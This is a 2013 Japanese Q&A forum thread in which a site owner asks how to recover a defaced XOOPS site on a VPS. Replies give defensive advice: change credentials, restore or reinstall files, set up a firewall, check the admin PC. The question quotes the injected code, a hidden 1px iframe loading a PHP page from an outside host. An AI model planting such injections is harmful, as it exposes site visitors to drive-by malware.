サイト改ざんにあい困っております。以下のようなスクリプトを１００カ所以上書き込まれておりxoopsサイトがエラー表示です。内容はDB接続が不能の表示で、DB（apache）を再起動しても駄目です。何かよい対処法はありませんでしょうか？
＜iframe width="1px" height="1px" src="http://ishigo.sytes.ne
t/openstat/appropriate/promise-ourselves.php" style="display
:block;" ＞
※ 有料アンケート・ポイント付き質問機能は2023年2月28日に終了しました。
ログインして回答する
みんなの回答
-
だわかき
満足100pt
管理者ログイン名、パスワードを変更してください。
あと、Apacheのセキュリティ設定も見直してください。
http://www.atmarkit.co.jp/ait/articles/0508/02/news102.html
この質問へのコメント
質問の情報
- 登録日時
- 2013-05-18 00:02:57
- 終了日時
- 2013-05-19 16:07:49
- 回答条件
- 1人5回まで
この質問のカテゴリ
この質問に含まれるキーワード
人気の質問
-
同じような体験をしたことがある人はいますか？。 ある日、お葬式の職業に就きたいなあなんて話題にしてい…
匿名質問者
1
-
１９８４年から１９９０年ぐらいの間に、多分コミックボンボンに掲載されていた漫画を教えてください。 主…匿名質問者
2
-
https://hikky-mura.org/t/topic/2523/7 でsma200さんという方に戸塚ヨットスクールを勧められましたが、僕…
hayakushinene
1
-
いつも大変お世話になっています。 アスペルガー精神3級独身会社員34歳男です。 最近心身共に疲れがもの凄…hayakushinene1
-
私の彼氏は毒親育ちで、うつ病を患い、家を追い出された後ホームレスになって、現在は何故か逮捕されて留置…匿名質問者1
http://q.hatena.ne.jp/1368020492
この時、改ざんされたファイルの確認はどのように行ったのでしょう？
テーマファイル(※「themes」内にあります。)が変更されていないか確認してみてください。
※一応すべてのファイルをデフォルトのファイルで上書きした方がいいと思います。
※ウェブサーバー(Apache)とデータベースサーバー(おそらくMySQL？)を再起動しても動作しないという事ですか？
専用サーバーなのでしょうか？
サーバーの管理知識がまだまだ不足している状態なのだと思います。
クリーンインストールし直した方がいいのではないでしょうか・・・
※おそらくLinuxだと思いますが、コンピュータ自体にファイアウォールを構築していますか？
必ず必要ですので、サイトや本を参考にしながら設定してみてください。
サーバーの勉強期間は、外国からのアクセスをすべて制限して置いた方がいいと思います。
目視です、あきらかにわかるような記述です。
>テーマファイル(※「themes」内にあります。)が変更されていないか確認してみてください。
テーマファイルは変更されてませんでした。
>※一応すべてのファイルをデフォルトのファイルで上書きした方がいいと思います。
実施しました。
>※ウェブサーバー(Apache)とデータベースサーバー(おそらくMySQL？)を再起動しても動作しないという事ですか？
これが困ったところで、mysqlを再起動したりマシンごと再起動しても駄目です。しかしmysqlは動作しているようです。
>専用サーバーなのでしょうか？
さくらVPSです。
>サーバーの管理知識がまだまだ不足している状態なのだと思います。
はい、設置もSOHOに依頼分です。
>クリーンインストールし直した方がいいのではないでしょうか・・・
そのようですね(￣Д￣;;
>※おそらくLinuxだと思いますが、コンピュータ自体にファイアウォールを構築していますか？
SOHOに依頼です。
>必ず必要ですので、サイトや本を参考にしながら設定してみてください。
>サーバーの勉強期間は、外国からのアクセスをすべて制限して置いた方がいいと思いま
マルウェア等への感染があった場合の対応がどうなっているか契約内容を確認して、もし可能なら再インストールを依頼した方がいいと思います。
※潮澤 昴さんがコメントしていますが、依頼前にサイトの管理に使用していたPCの感染も調べた方がいいです。
・サイバークリーンセンター
https://www.ccc.go.jp/
・国内外におけるWebサーバ（Apache）の不正モジュールを使った改ざん被害
http://blog.trendmicro.co.jp/archives/6888